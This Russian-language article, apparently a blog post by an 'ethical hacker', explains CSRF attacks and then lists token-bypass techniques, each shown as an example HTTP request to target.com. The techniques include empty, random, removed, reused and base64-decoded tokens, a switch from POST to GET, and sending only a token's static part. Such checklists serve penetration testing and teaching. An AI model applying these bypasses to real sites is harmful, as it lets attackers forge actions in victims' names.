Методы обхода защиты от CSRF

Методы обхода защиты от CSRF

Этичный Хакер

Немного про уязвимость

CSRF (Cross-Site Request Forgery, также XSRF) – опаснейшая атака, которая приводит к тому, что хакер может выполнить на неподготовленном сайте массу различных действий от имени других, зарегистрированных посетителей.

Какие это действия – отправка ли сообщений, перевод денег со счёта на счёт или смена паролей – зависят от сайта, но в любом случае эта атака входит в образовательный минимум веб-разработчика.

«Классический» сценарий атаки таков:

  • Вася является залогиненным на сайт, допустим, mail.com. У него есть сессия в куках.
  • Вася попал на «злую страницу», например хакер пригласил его сделать это письмом или как-то иначе.
  • На злой странице находится форма такого вида:
<form action="http://mail.com/send" method="POST">
  <input type="hidden" name="message" value="Сообщение">
  ...
</form>
  • При заходе на злую страницу JavaScript вызывает form.submit, отправляя таким образом форму на mail.com.
  • Сайт mail.com проверяет куки, видит, что посетитель авторизован и обрабатывает форму. В данном примере форма предполагает посылку сообщения.

Итог атаки – Вася, зайдя на злую страницу, ненароком отправил письмо от своего имени. Содержимое письма сформировано хакером.

В примере выше атака использовала слабое звено авторизации.

Куки позволяют сайту mail.com проверить, что пришёл именно Вася, но ничего не говорят про данные, которые он отправляет.

Типичный способ защиты сайтов – это присвоение посетителю специального токена, который генерируется случайным образом при авторизации и сохраняется в его сессии.

Подробнее про формирование секретного ключа, токена и способов защиты можешь прочитать на этом замечательном ресурсе. Описание взято с него же.

Мы же поговорим про способы обхода данной защиты, путём различных манипуляций с токенами.

Обход защиты от CSRF

Данные способы основаны на различных манипуляциях с CSRF токеном в запросе.

Стандартный запрос имеет вид:

POST /register HTTP/1.1
Host: target.com
[...]
username=username&password=123&token=sdf23

Рассмотрим теперь наиболее частые способы обхода защиты:

  • Отправка пустого значения токена
POST /register HTTP/1.1
Host: target.com
[...]
username=username&password=123&token=
  • Замена на случайный токен той же длины. Используйте случайные буквенно-цифровые токены: 
POST /register HTTP/1.1
Host: target.com
[...]
username=username&password=123&token=jhdsdf
  • В некоторых случаях сервер проверяет токены в запросах POST. Таким образом, если злоумышленник изменит его на запрос GET, то легко обойдет защиту.
GET /register?username=shadow&password=123456&token=aaaaaa HTTP/1.1
Host: target.com
[...]
  • Удаление токена из запроса
POST /register HTTP/1.1
Host: target.com
[...]
username=username&password=123
  • Использование токена другого пользователя
POST /register HTTP/1.1
Host: target.com
[...]
username=username&password=123&token=ANOTHER_VALID_TOKEN
  • Попытка расшифровать хэш
POST /register HTTP/1.1
Host: target.com
[...]
username=username&password=123&token=MTIzNDU2

В данном случае MTIzNDU2 => это 123456 в переводе с base64

  • Иногда анти-CSRF токен состоит из 2 частей, одна из которых остается статической, а другая - динамической.

Отправляем запрос с одного пользователя:

POST /register HTTP/1.1
Host: target.com
[...]
username=username&password=123&token=vi802jg9f8akd9j123

Проходим повторную регистрацию и отправляем запрос с другого:

POST /register HTTP/1.1
Host: target.com
[...]
username=username&password=123&token=vi802jg9f8akd9j124

Если вы заметили, что часть токена vi802jg9f8akd9j остается прежней, то нужно отправить только статическую часть:

POST /register HTTP/1.1
Host: target.com
[...]
username=username&password=123&token=vi802jg9f8akd9j



Report Page